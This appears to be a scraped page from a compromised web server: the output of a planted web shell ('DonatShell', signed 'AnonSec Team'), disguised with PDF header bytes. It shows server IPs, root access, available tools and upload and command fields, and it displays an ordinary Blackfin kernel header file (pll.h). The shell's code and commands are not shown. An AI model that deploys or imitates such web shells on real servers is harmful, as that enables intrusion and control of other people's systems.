%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/modules/4.4.0-112-generic/build/arch/blackfin/include/mach-common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /lib/modules/4.4.0-112-generic/build/arch/blackfin/include/mach-common/pll.h
/*
 * Copyright 2005-2010 Analog Devices Inc.
 *
 * Licensed under the GPL-2 or later.
 */

#ifndef _MACH_COMMON_PLL_H
#define _MACH_COMMON_PLL_H

#ifndef __ASSEMBLY__

#include <asm/blackfin.h>
#include <asm/irqflags.h>

#ifndef bfin_iwr_restore
static inline void
bfin_iwr_restore(unsigned long iwr0, unsigned long iwr1, unsigned long iwr2)
{
#ifdef SIC_IWR
	bfin_write_SIC_IWR(iwr0);
#else
	bfin_write_SIC_IWR0(iwr0);
# ifdef SIC_IWR1
	bfin_write_SIC_IWR1(iwr1);
# endif
# ifdef SIC_IWR2
	bfin_write_SIC_IWR2(iwr2);
# endif
#endif
}
#endif

#ifndef bfin_iwr_save
static inline void
bfin_iwr_save(unsigned long niwr0, unsigned long niwr1, unsigned long niwr2,
              unsigned long *iwr0, unsigned long *iwr1, unsigned long *iwr2)
{
#ifdef SIC_IWR
	*iwr0 = bfin_read_SIC_IWR();
#else
	*iwr0 = bfin_read_SIC_IWR0();
# ifdef SIC_IWR1
	*iwr1 = bfin_read_SIC_IWR1();
# endif
# ifdef SIC_IWR2
	*iwr2 = bfin_read_SIC_IWR2();
# endif
#endif
	bfin_iwr_restore(niwr0, niwr1, niwr2);
}
#endif

static inline void _bfin_write_pll_relock(u32 addr, unsigned int val)
{
	unsigned long flags, iwr0, iwr1, iwr2;

	if (val == bfin_read_PLL_CTL())
		return;

	flags = hard_local_irq_save();
	/* Enable the PLL Wakeup bit in SIC IWR */
	bfin_iwr_save(IWR_ENABLE(0), 0, 0, &iwr0, &iwr1, &iwr2);

	bfin_write16(addr, val);
	SSYNC();
	asm("IDLE;");

	bfin_iwr_restore(iwr0, iwr1, iwr2);
	hard_local_irq_restore(flags);
}

/* Writing to PLL_CTL initiates a PLL relock sequence */
static inline void bfin_write_PLL_CTL(unsigned int val)
{
	_bfin_write_pll_relock(PLL_CTL, val);
}

/* Writing to VR_CTL initiates a PLL relock sequence */
static inline void bfin_write_VR_CTL(unsigned int val)
{
	_bfin_write_pll_relock(VR_CTL, val);
}

#endif

#endif

Anon7 - 2022
AnonSec Team